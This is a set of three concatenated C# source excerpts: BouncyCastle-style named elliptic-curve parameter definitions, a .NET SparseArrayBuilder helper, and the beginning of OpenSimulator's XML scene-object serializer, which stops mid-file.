X9ECParametersHolder Instance = new SecT283K1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; ECCurve curve = ConfigureCurve(new SecT283K1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "0503213F78CA44883F1A3B8162F188E553CD265F23C1567A16876913B0C2AC2458492836" + "01CCDA380F1C9E318D90F95D07E5426FE87E45C0E8184698E45962364E34116177DD2259")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect283r1 */ internal class SecT283R1Holder : X9ECParametersHolder { private SecT283R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT283R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("77E2B07370EB0F832A6DD5B62DFC88CD06BB84BE"); ECCurve curve = ConfigureCurve(new SecT283R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "05F939258DB7DD90E1934F8C70B0DFEC2EED25B8557EAC9C80E2E198F8CDBECD86B12053" + "03676854FE24141CB98FE6D4B20D02B4516FF702350EDDB0826779C813F0DF45BE8112F4")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect409k1 */ internal class SecT409K1Holder : X9ECParametersHolder { private SecT409K1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT409K1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; ECCurve curve = ConfigureCurve(new SecT409K1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "0060F05F658F49C1AD3AB1890F7184210EFD0987E307C84C27ACCFB8F9F67CC2C460189EB5AAAA62EE222EB1B35540CFE9023746" + "01E369050B7C4E42ACBA1DACBF04299C3460782F918EA427E6325165E9EA10E3DA5F6C42E9C55215AA9CA27A5863EC48D8E0286B")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect409r1 */ internal class SecT409R1Holder : X9ECParametersHolder { private SecT409R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT409R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("4099B5A457F9D69F79213D094C4BCD4D4262210B"); ECCurve curve = ConfigureCurve(new SecT409R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "015D4860D088DDB3496B0C6064756260441CDE4AF1771D4DB01FFE5B34E59703DC255A868A1180515603AEAB60794E54BB7996A7" + "0061B1CFAB6BE5F32BBFA78324ED106A7636B9C5A7BD198D0158AA4F5488D08F38514F1FDF4B4F40D2181B3681C364BA0273C706")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect571k1 */ internal class SecT571K1Holder : X9ECParametersHolder { private SecT571K1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT571K1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; ECCurve curve = ConfigureCurve(new SecT571K1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "026EB7A859923FBC82189631F8103FE4AC9CA2970012D5D46024804801841CA44370958493B205E647DA304DB4CEB08CBBD1BA39494776FB988B47174DCA88C7E2945283A01C8972" + "0349DC807F4FBF374F4AEADE3BCA95314DD58CEC9F307A54FFC61EFC006D8A2C9D4979C0AC44AEA74FBEBBB9F772AEDCB620B01A7BA7AF1B320430C8591984F601CD4C143EF1C7A3")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect571r1 */ internal class SecT571R1Holder : X9ECParametersHolder { private SecT571R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT571R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("2AA058F73A0E33AB486B0F610410C53A7F132310"); ECCurve curve = ConfigureCurve(new SecT571R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "0303001D34B856296C16C0D40D3CD7750A93D1D2955FA80AA5F40FC8DB7B2ABDBDE53950F4C0D293CDD711A35B67FB1499AE60038614F1394ABFA3B4C850D927E1E7769C8EEC2D19" + "037BF27342DA639B6DCCFFFEB73D69D78C6C27A6009CBBCA1980F8533921E8A684423E43BAB08A576291AF8F461BB2A8B3531D2F0485C19B16E2F1516E23DD3C1A4827AF1B8AC15B")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; private static readonly IDictionary nameToCurve = Platform.CreateHashtable(); private static readonly IDictionary nameToOid = Platform.CreateHashtable(); private static readonly IDictionary oidToCurve = Platform.CreateHashtable(); private static readonly IDictionary oidToName = Platform.CreateHashtable(); private static readonly IList names = Platform.CreateArrayList(); private static void DefineCurve(string name, X9ECParametersHolder holder) { names.Add(name); name = Platform.ToLowerInvariant(name); nameToCurve.Add(name, holder); } private static void DefineCurveWithOid(string name, DerObjectIdentifier oid, X9ECParametersHolder holder) { names.Add(name); oidToName.Add(oid, name); oidToCurve.Add(oid, holder); name = Platform.ToLowerInvariant(name); nameToOid.Add(name, oid); nameToCurve.Add(name, holder); } private static void DefineCurveAlias(string name, DerObjectIdentifier oid) { object curve = oidToCurve[oid]; if (curve == null) throw new InvalidOperationException(); name = Platform.ToLowerInvariant(name); nameToOid.Add(name, oid); nameToCurve.Add(name, curve); } static CustomNamedCurves() { DefineCurve("curve25519", Curve25519Holder.Instance); //DefineCurveWithOid("secp112r1", SecObjectIdentifiers.SecP112r1, SecP112R1Holder.Instance); //DefineCurveWithOid("secp112r2", SecObjectIdentifiers.SecP112r2, SecP112R2Holder.Instance); DefineCurveWithOid("secp128r1", SecObjectIdentifiers.SecP128r1, SecP128R1Holder.Instance); //DefineCurveWithOid("secp128r2", SecObjectIdentifiers.SecP128r2, SecP128R2Holder.Instance); DefineCurveWithOid("secp160k1", SecObjectIdentifiers.SecP160k1, SecP160K1Holder.Instance); DefineCurveWithOid("secp160r1", SecObjectIdentifiers.SecP160r1, SecP160R1Holder.Instance); DefineCurveWithOid("secp160r2", SecObjectIdentifiers.SecP160r2, SecP160R2Holder.Instance); DefineCurveWithOid("secp192k1", SecObjectIdentifiers.SecP192k1, SecP192K1Holder.Instance); DefineCurveWithOid("secp192r1", SecObjectIdentifiers.SecP192r1, SecP192R1Holder.Instance); DefineCurveWithOid("secp224k1", SecObjectIdentifiers.SecP224k1, SecP224K1Holder.Instance); DefineCurveWithOid("secp224r1", SecObjectIdentifiers.SecP224r1, SecP224R1Holder.Instance); DefineCurveWithOid("secp256k1", SecObjectIdentifiers.SecP256k1, SecP256K1Holder.Instance); DefineCurveWithOid("secp256r1", SecObjectIdentifiers.SecP256r1, SecP256R1Holder.Instance); DefineCurveWithOid("secp384r1", SecObjectIdentifiers.SecP384r1, SecP384R1Holder.Instance); DefineCurveWithOid("secp521r1", SecObjectIdentifiers.SecP521r1, SecP521R1Holder.Instance); DefineCurveWithOid("sect113r1", SecObjectIdentifiers.SecT113r1, SecT113R1Holder.Instance); DefineCurveWithOid("sect113r2", SecObjectIdentifiers.SecT113r2, SecT113R2Holder.Instance); DefineCurveWithOid("sect131r1", SecObjectIdentifiers.SecT131r1, SecT131R1Holder.Instance); DefineCurveWithOid("sect131r2", SecObjectIdentifiers.SecT131r2, SecT131R2Holder.Instance); DefineCurveWithOid("sect163k1", SecObjectIdentifiers.SecT163k1, SecT163K1Holder.Instance); DefineCurveWithOid("sect163r1", SecObjectIdentifiers.SecT163r1, SecT163R1Holder.Instance); DefineCurveWithOid("sect163r2", SecObjectIdentifiers.SecT163r2, SecT163R2Holder.Instance); DefineCurveWithOid("sect233k1", SecObjectIdentifiers.SecT233k1, SecT233K1Holder.Instance); DefineCurveWithOid("sect233r1", SecObjectIdentifiers.SecT233r1, SecT233R1Holder.Instance); DefineCurveWithOid("sect239k1", SecObjectIdentifiers.SecT239k1, SecT239K1Holder.Instance); DefineCurveWithOid("sect283k1", SecObjectIdentifiers.SecT283k1, SecT283K1Holder.Instance); DefineCurveWithOid("sect283r1", SecObjectIdentifiers.SecT283r1, SecT283R1Holder.Instance); DefineCurveWithOid("sect409k1", SecObjectIdentifiers.SecT409k1, SecT409K1Holder.Instance); DefineCurveWithOid("sect409r1", SecObjectIdentifiers.SecT409r1, SecT409R1Holder.Instance); DefineCurveWithOid("sect571k1", SecObjectIdentifiers.SecT571k1, SecT571K1Holder.Instance); DefineCurveWithOid("sect571r1", SecObjectIdentifiers.SecT571r1, SecT571R1Holder.Instance); DefineCurveAlias("B-163", SecObjectIdentifiers.SecT163r2); DefineCurveAlias("B-233", SecObjectIdentifiers.SecT233r1); DefineCurveAlias("B-283", SecObjectIdentifiers.SecT283r1); DefineCurveAlias("B-409", SecObjectIdentifiers.SecT409r1); DefineCurveAlias("B-571", SecObjectIdentifiers.SecT571r1); DefineCurveAlias("K-163", SecObjectIdentifiers.SecT163k1); DefineCurveAlias("K-233", SecObjectIdentifiers.SecT233k1); DefineCurveAlias("K-283", SecObjectIdentifiers.SecT283k1); DefineCurveAlias("K-409", SecObjectIdentifiers.SecT409k1); DefineCurveAlias("K-571", SecObjectIdentifiers.SecT571k1); DefineCurveAlias("P-192", SecObjectIdentifiers.SecP192r1); DefineCurveAlias("P-224", SecObjectIdentifiers.SecP224r1); DefineCurveAlias("P-256", SecObjectIdentifiers.SecP256r1); DefineCurveAlias("P-384", SecObjectIdentifiers.SecP384r1); DefineCurveAlias("P-521", SecObjectIdentifiers.SecP521r1); } public static X9ECParameters GetByName(string name) { X9ECParametersHolder holder = (X9ECParametersHolder)nameToCurve[Platform.ToLowerInvariant(name)]; return holder == null ? null : holder.Parameters; } /** * return the X9ECParameters object for the named curve represented by * the passed in object identifier. Null if the curve isn't present. * * @param oid an object identifier representing a named curve, if present. */ public static X9ECParameters GetByOid(DerObjectIdentifier oid) { X9ECParametersHolder holder = (X9ECParametersHolder)oidToCurve[oid]; return holder == null ? null : holder.Parameters; } /** * return the object identifier signified by the passed in name. Null * if there is no object identifier associated with name. * * @return the object identifier associated with name, if present. */ public static DerObjectIdentifier GetOid(string name) { return (DerObjectIdentifier)nameToOid[Platform.ToLowerInvariant(name)]; } /** * return the named curve name represented by the given object identifier. */ public static string GetName(DerObjectIdentifier oid) { return (string)oidToName[oid]; } /** * returns an enumeration containing the name strings for curves * contained in this structure. */ public static IEnumerable Names { get { return new EnumerableProxy(names); } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Diagnostics; namespace System.Collections.Generic { /// <summary> /// Represents a reserved region within a <see cref="SparseArrayBuilder{T}"/>. /// </summary> [DebuggerDisplay("{DebuggerDisplay,nq}")] internal struct Marker { /// <summary> /// Constructs a new marker. /// </summary> /// <param name="count">The number of items to reserve.</param> /// <param name="index">The index in the builder where this marker starts.</param> public Marker(int count, int index) { Debug.Assert(count >= 0); Debug.Assert(index >= 0); Count = count; Index = index; } /// <summary> /// The number of items to reserve. /// </summary> public int Count { get; } /// <summary> /// The index in the builder where this marker starts. /// </summary> public int Index { get; } /// <summary> /// Gets a string suitable for display in the debugger. /// </summary> private string DebuggerDisplay => $"{nameof(Index)}: {Index}, {nameof(Count)}: {Count}"; } /// <summary> /// Helper type for building arrays where sizes of certain segments are known in advance. /// </summary> /// <typeparam name="T">The element type.</typeparam> internal struct SparseArrayBuilder<T> { /// <summary> /// The underlying builder that stores items from non-reserved regions. /// </summary> /// <remarks> /// This field is a mutable struct; do not mark it readonly. /// </remarks> private LargeArrayBuilder<T> _builder; /// <summary> /// The list of reserved regions within this builder. /// </summary> /// <remarks> /// This field is a mutable struct; do not mark it readonly. /// </remarks> private ArrayBuilder<Marker> _markers; /// <summary> /// The total number of reserved slots within this builder. /// </summary> private int _reservedCount; /// <summary> /// Constructs a new builder. /// </summary> /// <param name="initialize">Pass <c>true</c>.</param> public SparseArrayBuilder(bool initialize) : this() { // Once C# gains parameterless struct constructors, please // remove this workaround. Debug.Assert(initialize); _builder = new LargeArrayBuilder<T>(initialize: true); } /// <summary> /// The total number of items in this builder, including reserved regions. /// </summary> public int Count => checked(_builder.Count + _reservedCount); /// <summary> /// The list of reserved regions in this builder. /// </summary> public ArrayBuilder<Marker> Markers => _markers; /// <summary> /// Adds an item to this builder. /// </summary> /// <param name="item">The item to add.</param> public void Add(T item) => _builder.Add(item); /// <summary> /// Adds a range of items to this builder. /// </summary> /// <param name="items">The sequence to add.</param> public void AddRange(IEnumerable<T> items) => _builder.AddRange(items); /// <summary> /// Copies the contents of this builder to the specified array. /// </summary> /// <param name="array">The destination array.</param> /// <param name="arrayIndex">The index in <see cref="array"/> to start copying to.</param> /// <param name="count">The number of items to copy.</param> public void CopyTo(T[] array, int arrayIndex, int count) { Debug.Assert(arrayIndex >= 0); Debug.Assert(count >= 0 && count <= Count); Debug.Assert(array?.Length - arrayIndex >= count); int copied = 0; var position = CopyPosition.Start; for (int i = 0; i < _markers.Count; i++) { Marker marker = _markers[i]; // During this iteration, copy until we satisfy `count` or reach the marker. int toCopy = Math.Min(marker.Index - copied, count); if (toCopy > 0) { position = _builder.CopyTo(position, array, arrayIndex, toCopy); arrayIndex += toCopy; copied += toCopy; count -= toCopy; } if (count == 0) { return; } // We hit our marker. Advance until we satisfy `count` or fulfill `marker.Count`. int reservedCount = Math.Min(marker.Count, count); arrayIndex += reservedCount; copied += reservedCount; count -= reservedCount; } // Finish copying after the final marker. _builder.CopyTo(position, array, arrayIndex, count); } /// <summary> /// Reserves a region starting from the current index. /// </summary> /// <param name="count">The number of items to reserve.</param> /// <remarks> /// This method will not make optimizations if <paramref name="count"/> /// is zero; the caller is responsible for doing so. The reason for this /// is that the number of markers needs to match up exactly with the number /// of times <see cref="Reserve"/> was called. /// </remarks> public void Reserve(int count) { Debug.Assert(count >= 0); _markers.Add(new Marker(count: count, index: Count)); checked { _reservedCount += count; } } /// <summary> /// Reserves a region if the items' count can be predetermined; otherwise, adds the items to this builder. /// </summary> /// <param name="items">The items to reserve or add.</param> /// <returns><c>true</c> if the items were reserved; otherwise, <c>false</c>.</returns> /// <remarks> /// If the items' count is predetermined to be 0, no reservation is made and the return value is <c>false</c>. /// The effect is the same as if the items were added, since adding an empty collection does nothing. /// </remarks> public bool ReserveOrAdd(IEnumerable<T> items) { int itemCount; if (EnumerableHelpers.TryGetCount(items, out itemCount)) { if (itemCount > 0) { Reserve(itemCount); return true; } } else { AddRange(items); } return false; } /// <summary> /// Creates an array from the contents of this builder. /// </summary> /// <remarks> /// Regions created with <see cref="Reserve"/> will be default-initialized. /// </remarks> public T[] ToArray() { // If no regions were reserved, there are no 'gaps' we need to add to the array. // In that case, we can just call ToArray on the underlying builder. if (_markers.Count == 0) { Debug.Assert(_reservedCount == 0); return _builder.ToArray(); } var array = new T[Count]; CopyTo(array, 0, array.Length); return array; } } }
/* * Copyright (c) Contributors, http://opensimulator.org/ * See CONTRIBUTORS.TXT for a full list of copyright holders. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the OpenSimulator Project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Reflection; using System.Xml; using log4net; using OpenMetaverse; using OpenSim.Framework; using OpenSim.Region.Framework.Interfaces; using OpenSim.Region.Framework.Scenes; namespace OpenSim.Region.Framework.Scenes.Serialization { /// <summary> /// Serialize and deserialize scene objects. /// </summary> /// This should really be in OpenSim.Framework.Serialization but this would mean circular dependency problems /// right now - hopefully this isn't forever. public class SceneObjectSerializer { private static readonly ILog m_log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); private static IUserManagement m_UserManagement; /// <summary> /// Deserialize a scene object from the original xml format /// </summary> /// <param name="serialization"></param> /// <returns></returns> public static SceneObjectGroup FromOriginalXmlFormat(string serialization) { return FromOriginalXmlFormat(UUID.Zero, serialization); } /// <summary> /// Deserialize a scene object from the original xml format /// </summary> /// <param name="serialization"></param> /// <returns></returns> public static SceneObjectGroup FromOriginalXmlFormat(UUID fromUserInventoryItemID, string xmlData) { //m_log.DebugFormat("[SOG]: Starting deserialization of SOG"); //int time = System.Environment.TickCount; try { StringReader sr; XmlTextReader reader; XmlNodeList parts; XmlDocument doc; int linkNum; doc = new XmlDocument(); doc.LoadXml(xmlData); parts = doc.GetElementsByTagName("RootPart"); if (parts.Count == 0) throw new Exception("Invalid Xml format - no root part"); sr = new StringReader(parts[0].InnerXml); reader = new XmlTextReader(sr); SceneObjectGroup sceneObject = new SceneObjectGroup(SceneObjectPart.FromXml(fromUserInventoryItemID, reader)); reader.Close(); sr.Close(); parts = doc.GetElementsByTagName("Part"); for (int i = 0; i < parts.Count; i++) { sr = new StringReader(parts[i].InnerXml); reader = new XmlTextReader(sr); SceneObjectPart part = SceneObjectPart.FromXml(reader); linkNum = part.LinkNum; sceneObject.AddPart(part); part.LinkNum = linkNum; part.TrimPermissions(); part.StoreUndoState(); reader.Close(); sr.Close(); } // Script state may, or may not, exist. Not having any, is NOT // ever a problem. sceneObject.LoadScriptState(doc); return sceneObject; } catch (Exception e) { m_log.ErrorFormat( "[SERIALIZER]: Deserialization of xml failed with {0}. xml was {1}", e, xmlData); return null; } } /// <summary> /// Serialize a scene object to the original xml format /// </summary> /// <param name="sceneObject"></param> /// <returns></returns> public static string ToOriginalXmlFormat(SceneObjectGroup sceneObject) { using (StringWriter sw = new StringWriter()) { using (XmlTextWriter writer = new XmlTextWriter(sw)) { ToOriginalXmlFormat(sceneObject, writer); } return sw.ToString(); } } /// <summary> /// Serialize a scene object to the original xml format /// </summary> /// <param name="sceneObject"></param> /// <returns></returns> public static void ToOriginalXmlFormat(SceneObjectGroup sceneObject, XmlTextWriter writer) { ToOriginalXmlFormat(sceneObject, writer, false); } /// <summary> /// Serialize a scene object to the original xml format /// </summary> /// <param name="sceneObject"></param> /// <param name="writer"></param> /// <param name="noRootElement">If false, don't write the enclosing SceneObjectGroup element</param> /// <returns></returns> public static void ToOriginalXmlFormat(SceneObjectGroup sceneObject, XmlTextWriter writer, bool noRootElement) { //m_log.DebugFormat("[SERIALIZER]: Starting serialization of {0}", Name); //int time = System.Environment.TickCount; if (!noRootElement) writer.WriteStartElement(String.Empty, "SceneObjectGroup", String.Empty); writer.WriteStartElement(String.Empty, "RootPart", String.Empty); ToXmlFormat(sceneObject.RootPart, writer); writer.WriteEndElement(); writer.WriteStartElement(String.Empty, "OtherParts", String.Empty); SceneObjectPart[] parts = sceneObject.Parts; for (int i = 0; i < parts.Length; i++) { SceneObjectPart part = parts[i]; if (part.UUID != sceneObject.RootPart.UUID) { writer.WriteStartElement(String.Empty, "Part", String.Empty); ToXmlFormat(part, writer); writer.WriteEndElement(); } } writer.WriteEndElement(); // OtherParts sceneObject.SaveScriptedState(writer); if (!noRootElement) writer.WriteEndElement(); // SceneObjectGroup //m_log.DebugFormat("[SERIALIZER]: Finished serialization of SOG {0}, {1}ms", Name, System.Environment.TickCount - time); } protected static void ToXmlFormat(SceneObjectPart part, XmlTextWriter writer) { SOPToXml2(writer, part, new Dictionary<string, object>()); } public static SceneObjectGroup FromXml2Format(string xmlData) { //m_log.DebugFormat("[SOG]: Starting deserialization of SOG"); //int time = System.Environment.TickCount; try { XmlDocument doc = new XmlDocument(); doc.LoadXml(xmlData); XmlNodeList parts = doc.GetElementsByTagName("SceneObjectPart"); if (parts.Count == 0) { m_log.ErrorFormat("[SERIALIZER]: Deserialization of xml failed: No SceneObjectPart nodes. xml was " + xmlData); return null; } StringReader sr = new StringReader(parts[0].OuterXml); XmlTextReader reader = new XmlTextReader(sr); SceneObjectGroup sceneObject = new SceneObjectGroup(SceneObjectPart.FromXml(reader)); reader.Close(); sr.Close(); // Then deal with the rest for (int i = 1; i < parts.Count; i++) { sr = new StringReader(parts[i].OuterXml); reader = new XmlTextReader(sr); SceneObjectPart part = SceneObjectPart.FromXml(reader); int originalLinkNum = part.LinkNum; sceneObject.AddPart(part); // SceneObjectGroup.AddPart() tries to be smart and automatically set the LinkNum. // We override that here if (originalLinkNum != 0) part.LinkNum = originalLinkNum; part.StoreUndoState(); reader.Close(); sr.Close(); } // Script state may, or may not, exist. Not having any, is NOT // ever a problem. sceneObject.LoadScriptState(doc); return sceneObject; } catch (Exception e) { m_log.ErrorFormat("[SERIALIZER]: Deserialization of xml failed with {0}. xml was {1}", e, xmlData); return null; } } /// <summary> /// Serialize a scene object to the 'xml2' format. /// </summary> /// <param name="sceneObject"></param> /// <returns></returns> public static string ToXml2Format(SceneObjectGroup sceneObject) { using (StringWriter sw = new StringWriter()) { using (XmlTextWriter writer = new XmlTextWriter(sw)) { SOGToXml2(writer, sceneObject, new Dictionary<string,object>()); } return sw.ToString(); } } #region manual serialization private delegate void SOPXmlProcessor(SceneObjectPart sop, XmlTextReader reader); private static Dictionary<string, SOPXmlProcessor> m_SOPXmlProcessors = new Dictionary<string, SOPXmlProcessor>(); private delegate void TaskInventoryXmlProcessor(TaskInventoryItem item, XmlTextReader reader); private static Dictionary<string, TaskInventoryXmlProcessor> m_TaskInventoryXmlProcessors = new Dictionary<string, TaskInventoryXmlProcessor>(); private delegate void ShapeXmlProcessor(PrimitiveBaseShape shape, XmlTextReader reader); private static Dictionary<string, ShapeXmlProcessor> m_ShapeXmlProcessors = new Dictionary<string, ShapeXmlProcessor>(); static SceneObjectSerializer() { #region SOPXmlProcessors initialization m_SOPXmlProcessors.Add("AllowedDrop", ProcessAllowedDrop); m_SOPXmlProcessors.Add("CreatorID", ProcessCreatorID); m_SOPXmlProcessors.Add("CreatorData", ProcessCreatorData); m_SOPXmlProcessors.Add("FolderID", ProcessFolderID); m_SOPXmlProcessors.Add("InventorySerial", ProcessInventorySerial); m_SOPXmlProcessors.Add("TaskInventory", ProcessTaskInventory); m_SOPXmlProcessors.Add("UUID", ProcessUUID); m_SOPXmlProcessors.Add("LocalId", ProcessLocalId); m_SOPXmlProcessors.Add("Name", ProcessName); m_SOPXmlProcessors.Add("Material", ProcessMaterial); m_SOPXmlProcessors.Add("PassTouches", ProcessPassTouches); m_SOPXmlProcessors.Add("RegionHandle", ProcessRegionHandle); m_SOPXmlProcessors.Add("ScriptAccessPin", ProcessScriptAccessPin); m_SOPXmlProcessors.Add("GroupPosition", ProcessGroupPosition); m_SOPXmlProcessors.Add("OffsetPosition", ProcessOffsetPosition); m_SOPXmlProcessors.Add("RotationOffset", ProcessRotationOffset); m_SOPXmlProcessors.Add("Velocity", ProcessVelocity); m_SOPXmlProcessors.Add("AngularVelocity", ProcessAngularVelocity); m_SOPXmlProcessors.Add("Acceleration", ProcessAcceleration); m_SOPXmlProcessors.Add("Description", ProcessDescription); m_SOPXmlProcessors.Add("Color", ProcessColor); m_SOPXmlProcessors.Add("Text", ProcessText); m_SOPXmlProcessors.Add("SitName", ProcessSitName); m_SOPXmlProcessors.Add("TouchName", ProcessTouchName); m_SOPXmlProcessors.Add("LinkNum", ProcessLinkNum); m_SOPXmlProcessors.Add("ClickAction", ProcessClickAction); m_SOPXmlProcessors.Add("Shape", ProcessShape); m_SOPXmlProcessors.Add("Scale", ProcessScale); m_SOPXmlProcessors.Add("UpdateFlag", ProcessUpdateFlag); m_SOPXmlProcessors.Add("SitTargetOrientation", ProcessSitTargetOrientation); m_SOPXmlProcessors.Add("SitTargetPosition", ProcessSitTargetPosition); m_SOPXmlProcessors.Add("SitTargetPositionLL", ProcessSitTargetPositionLL); m_SOPXmlProcessors.Add("SitTargetOrientationLL", ProcessSitTargetOrientationLL); m_SOPXmlProcessors.Add("ParentID", ProcessParentID); m_SOPXmlProcessors.Add("CreationDate", ProcessCreationDate); m_SOPXmlProcessors.Add("Category", ProcessCategory); m_SOPXmlProcessors.Add("SalePrice", ProcessSalePrice); m_SOPXmlProcessors.Add("ObjectSaleType", ProcessObjectSaleType); m_SOPXmlProcessors.Add("OwnershipCost", ProcessOwnershipCost); m_SOPXmlProcessors.Add("GroupID", ProcessGroupID); m_SOPXmlProcessors.Add("OwnerID", ProcessOwnerID); m_SOPXmlProcessors.Add("LastOwnerID", ProcessLastOwnerID); m_SOPXmlProcessors.Add("BaseMask", ProcessBaseMask); m_SOPXmlProcessors.Add("OwnerMask", ProcessOwnerMask); m_SOPXmlProcessors.Add("GroupMask", ProcessGroupMask); m_SOPXmlProcessors.Add("EveryoneMask", ProcessEveryoneMask); m_SOPXmlProcessors.Add("NextOwnerMask", ProcessNextOwnerMask); m_SOPXmlProcessors.Add("Flags", ProcessFlags); m_SOPXmlProcessors.Add("CollisionSound", ProcessCollisionSound); m_SOPXmlProcessors.Add("CollisionSoundVolume", ProcessCollisionSoundVolume); m_SOPXmlProcessors.Add("MediaUrl", ProcessMediaUrl); m_SOPXmlProcessors.Add("TextureAnimation", ProcessTextureAnimation); m_SOPXmlProcessors.Add("ParticleSystem", ProcessParticleSystem); #endregion #region TaskInventoryXmlProcessors initialization m_TaskInventoryXmlProcessors.Add("AssetID", ProcessTIAssetID); m_TaskInventoryXmlProcessors.Add("BasePermissions", ProcessTIBasePermissions); m_TaskInventoryXmlProcessors.Add("CreationDate", ProcessTICreationDate); m_TaskInventoryXmlProcessors.Add("CreatorID", ProcessTICreatorID); m_TaskInventoryXmlProcessors.Add("CreatorData", ProcessTICreatorData); m_TaskInventoryXmlProcessors.Add("Description", ProcessTIDescription); m_TaskInventoryXmlProcessors.Add("EveryonePermissions", ProcessTIEveryonePermissions); m_TaskInventoryXmlProcessors.Add("Flags", ProcessTIFlags); m_TaskInventoryXmlProcessors.Add("GroupID", ProcessTIGroupID); m_TaskInventoryXmlProcessors.Add("GroupPermissions", ProcessTIGroupPermissions); m_TaskInventoryXmlProcessors.Add("InvType", ProcessTIInvType); m_TaskInventoryXmlProcessors.Add("ItemID", ProcessTIItemID); m_TaskInventoryXmlProcessors.Add("OldItemID", ProcessTIOldItemID); m_TaskInventoryXmlProcessors.Add("LastOwnerID", ProcessTILastOwnerID); m_TaskInventoryXmlProcessors.Add("Name", ProcessTIName); m_TaskInventoryXmlProcessors.Add("NextPermissions", ProcessTINextPermissions); m_TaskInventoryXmlProcessors.Add("OwnerID", ProcessTIOwnerID); m_TaskInventoryXmlProcessors.Add("CurrentPermissions", ProcessTICurrentPermissions); m_TaskInventoryXmlProcessors.Add("ParentID", ProcessTIParentID); m_TaskInventoryXmlProcessors.Add("ParentPartID", ProcessTIParentPartID); m_TaskInventoryXmlProcessors.Add("PermsGranter", ProcessTIPermsGranter); m_TaskInventoryXmlProcessors.Add("PermsMask", ProcessTIPermsMask); m_TaskInventoryXmlProcessors.Add("Type", ProcessTIType); m_TaskInventoryXmlProcessors.Add("OwnerChanged", ProcessTIOwnerChanged); #endregion #region ShapeXmlProcessors initialization m_ShapeXmlProcessors.Add("ProfileCurve", ProcessShpProfileCurve); m_ShapeXmlProcessors.Add("TextureEntry", ProcessShpTextureEntry); m_ShapeXmlProcessors.Add("ExtraParams", ProcessShpExtraParams); m_ShapeXmlProcessors.Add("PathBegin", ProcessShpPathBegin); m_ShapeXmlProcessors.Add("PathCurve", ProcessShpPathCurve); m_ShapeXmlProcessors.Add("PathEnd", ProcessShpPathEnd); m_ShapeXmlProcessors.Add("PathRadiusOffset", ProcessShpPathRadiusOffset); m_ShapeXmlProcessors.Add("PathRevolutions", ProcessShpPathRevolutions); m_ShapeXmlProcessors.Add("PathScaleX", ProcessShpPathScaleX); m_ShapeXmlProcessors.Add("PathScaleY", ProcessShpPathScaleY); m_ShapeXmlProcessors.Add("PathShearX", ProcessShpPathShearX); m_ShapeXmlProcessors.Add("PathShearY", ProcessShpPathShearY); m_ShapeXmlProcessors.Add("PathSkew", ProcessShpPathSkew); m_ShapeXmlProcessors.Add("PathTaperX", ProcessShpPathTaperX); m_ShapeXmlProcessors.Add("PathTaperY", ProcessShpPathTaperY); m_ShapeXmlProcessors.Add("PathTwist", ProcessShpPathTwist); m_ShapeXmlProcessors.Add("PathTwistBegin", ProcessShpPathTwistBegin); m_ShapeXmlProcessors.Add("PCode", ProcessShpPCode); m_ShapeXmlProcessors.Add("ProfileBegin", ProcessShpProfileBegin); m_ShapeXmlProcessors.Add("ProfileEnd", ProcessShpProfileEnd); m_ShapeXmlProcessors.Add("ProfileHollow", ProcessShpProfileHollow); m_ShapeXmlProcessors.Add("Scale", ProcessShpScale); m_ShapeXmlProcessors.Add("State", ProcessShpState); m_ShapeXmlProcessors.Add("ProfileShape", ProcessShpProfileShape); m_ShapeXmlProcessors.Add("HollowShape", ProcessShpHollowShape); m_ShapeXmlProcessors.Add("SculptTexture", ProcessShpSculptTexture); m_ShapeXmlProcessors.Add("SculptType", ProcessShpSculptType); m_ShapeXmlProcessors.Add("SculptData", ProcessShpSculptData); 